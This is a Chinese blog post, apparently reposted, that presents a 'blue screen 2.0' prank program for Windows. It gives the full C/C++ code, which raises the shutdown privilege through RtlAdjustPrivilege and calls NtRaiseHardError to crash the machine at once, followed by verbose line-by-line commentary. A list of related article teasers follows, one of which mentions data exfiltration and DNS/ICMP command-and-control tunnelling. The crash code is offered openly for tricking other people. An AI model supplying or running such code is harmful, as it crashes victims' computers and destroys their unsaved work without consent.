C/C++实现蓝屏2.0

ops/2024/11/12 5:59:04/

🚀欢迎互三👉程序猿方梓燚 💎💎

🚀关注博主,后期持续更新系列文章

🚀如果有错误感谢请大家批评指出,及时修改

🚀感谢大家点赞👍收藏评论✍  

前情提要

上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏(不信自己看下面)

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间

完整代码

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式{HMODULE ntdll = LoadLibrary("ntdll.dll"); // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。// ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege"); // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError"); // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。unsigned char ErrKill; // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。long unsigned int HDErr; // 定义一个无符号长整型变量 HDErr,用于存储相关数据。((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill); // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr); // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。return 0; // 返回 0,表示程序正常结束。
}

代码详解

首先,通过 #include <Windows.h> 语句引入了 Windows 编程所需的头文件。此头文件不仅广泛而且详尽地涵盖了与 Windows 操作系统进行交互所必需的各种函数、数据结构和常量定义。它就如同构建摩天大楼的基石,为后续程序的开发精心搭建了稳固且不可或缺的基础架构。无论是处理图形界面、文件操作,还是进行网络通信等,都能在此头文件中找到相应的支持。

 

WinMain 函数作为 Windows 应用程序的关键入口点,具备以下至关重要的参数:

 

HINSTANCE hInstance :此参数独特且精确无误地标识了当前应用程序的实例句柄。在 Windows 系统那复杂而精细的运行机制中,它宛如一把万能钥匙,对于资源的有效管理、窗口的精心创建以及众多相关操作起着决定性作用。其重要性不可小觑,是确保应用程序稳定运行和系统资源合理管理的关键标识符。无论是资源的分配、释放,还是窗口的样式、位置等设置,都离不开这个标识符的准确运用。

 

HINSTANCE hPrevInstance :在 32 位 Windows 环境中已被确切地废弃,并且始终毫无例外地呈现为 NULL 的状态。这意味着它如同一件被时代淘汰的工具,不再具备任何实际的功能和作用。开发者在编写代码时,无需对其进行关注和处理。

 

LPSTR lpCmdLine :这一参数用于细致入微且全面地获取用户在命令行中输入的具体参数。它就像一个灵敏的触角,能够捕捉到用户输入的每一个字符和指令。通过对这些参数进行深入透彻的解析和精心巧妙的处理,程序能够依据用户的输入灵活多变且精准无误地执行多样化的逻辑流程或特定操作。从而实现与用户高效且顺畅的交互,满足用户的个性化需求,提供更加智能和便捷的使用体验。

 

int nCmdShow :其核心功能是严谨细致地决定应用程序窗口的初始显示方式。它仿佛是一位精准的调度员,能够将窗口的初始状态精准设置为最大化、最小化、正常显示等各种不同的状态。为用户提供了丰富多样的初始窗口展示效果选择,满足不同用户的偏好和使用场景需求。

 

在函数内部,通过一系列复杂而关键的操作与系统底层进行深度且全面的交互:

 

使用 LoadLibrary 函数动态加载了 ntdll.dll 库。ntdll.dll 作为 Windows 内核至关重要且不可或缺的核心组成部分,承载着数量众多且功能强大的底层系统函数。它犹如一座神秘的宝库,蕴含着无尽的系统核心功能。这一加载操作使得程序得以畅通无阻且高效地访问和充分利用这些底层的核心功能,为实现特定的高级且复杂的操作奠定了坚实的基础和创造了可能。

 

紧接着,巧妙且精准地运用 GetProcAddress 函数准确无误地获取了 ntdll.dll 库中 RtlAdjustPrivilege 和 NtRaiseHardError 这两个关键函数的地址。这一过程就像是在茫茫大海中精准定位到珍贵的宝藏坐标,为后续的操作找到了关键的钥匙。

 

随后,精确无误地定义了 unsigned char 类型的变量 ErrKill 和无符号长整型变量 HDErr ,旨在周密细致地存储后续函数调用过程中可能涉及和产生的各种数据。这些变量如同精心准备的容器,等待着数据的填充和使用。

 

接下来,进行了两次精准且无偏差的函数指针的类型转换,并顺利且高效地执行了相应的函数调用:

 

对于 RtlAdjustPrivilege 函数,极其准确且恰到好处地传递了参数 0x13truefalse 和 ErrKill 的地址,以实现特定且精细入微的权限调整操作。每一个参数的传递都像是在精心编排一场精密的舞蹈,不容有丝毫差错。

 

对于 NtRaiseHardErr 函数,精心且严谨无误地传递了参数 0xc0000233 等以及 HDErr 的地址,从而精准且有效地触发相应的硬件错误处理机制。每一个数据的传递都像是在触发一个复杂而精密的机关,必须确保准确无误。

 

最后,通过 return 0; 语句清晰明确且毫无歧义地表示程序正常结束,圆满且顺利地完成了整个应用程序的运行流程。就如同一场精彩演出的完美落幕,给整个程序的执行画上了一个圆满的句号。

好了今天就到这了ByeBye!!!


http://www.ppmy.cn/ops/96707.html

相关文章

C语言之“ 数组 ”

&#x1f339;个人主页&#x1f339;&#xff1a;喜欢草莓熊的bear &#x1f339;专栏&#x1f339;&#xff1a;C语言基础 目录 前言 一、数组 二、一维数组 2.1 一维数组的创建和初始化 数组创建 数组初始化 数组类型 2.2 一维数组的使用 数组下标 数组打印 数组输…

C#实现多选下拉框

1、创建多选下拉框控件 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;namespace DFT_FFTApp.userCtrl {/// <summary>/// 多选下拉控件//…

深度学习基础之卷积神经网络

目录 卷积神经网络&#xff08;CNN&#xff09;的历史发展和关键里程碑 早期概念与初步研究 真正意义上的卷积神经网络 深度学习时代的崛起 近年来的发展与革新 总结 LeNet、AlexNet、VGG和ResNet这些经典CNN模型的具体架构和性能比较如何&#xff1f; LeNet AlexNet …

面向对象的设计原则--依赖倒置原则

依赖倒置原则 这是面向对象设计中非常重要的一个原则&#xff0c;它是SOLID原则中的一个&#xff0c;SOLID代表了五个设计原则的首字母缩写&#xff0c;用于指导开发者编写可维护和可扩展的代码。 以下是依赖倒置原则的详细解释&#xff1a; 抽象不应该依赖于细节&#xff0…

C++图笔记(三)有向无环图(及最小生成树(略))以及剩下的排序

目录 一&#xff0c;定义&#xff1a; 1&#xff0c;有向无环图 2&#xff0c;拓朴排序 1&#xff0c;每个顶点出现且仅仅出现一次。 2&#xff0c;若存在一条从顶点 A 到顶点 B 的路径&#xff0c;那么在序列中顶点 A 出现在顶点 B 的前面。 二&#xff0c;DAG的性质 性质1…

内网数据带外传输及隧道建立

内网数据带外传输及隧道建立 使用TCP套接字外泄数据&#xff08;易被检测&#xff09;使用ssh进行渗透使用http(s)进行渗透建立http协议隧道使用ICMP进行数据外泄使用ICMP建立C2通信通过DNS进行数据外泄通过DNS进行c2通信通过DNS进行隧道传输 使用TCP套接字外泄数据&#xff08…

MySQL——单表查询(二)按条件查询(4)空值查询

在数据表中&#xff0c;某些列的值可能为空值(NULL),空值不同于0&#xff0c;也不同于空字符串。 在 MySQL 中&#xff0c;使用 IS NULL 关键字来判断字段的值是否为空值,其语法格式如下所示&#xff1a; SELECT * |字段名 1,字段名 2,... FROM 表名 WHERE 字段名 IS …

SpringCloud天机学堂:分布式任务调度

SpringCloud天机学堂&#xff1a;分布式任务调度 文章目录 SpringCloud天机学堂&#xff1a;分布式任务调度1、分布式任务调度2、分布式任务调度原理3、分布式任务调度技术对比4、XXL-JOB介绍部署调度中心定义任务注册执行器配置任务调度执行一次 1、分布式任务调度 一般的定时…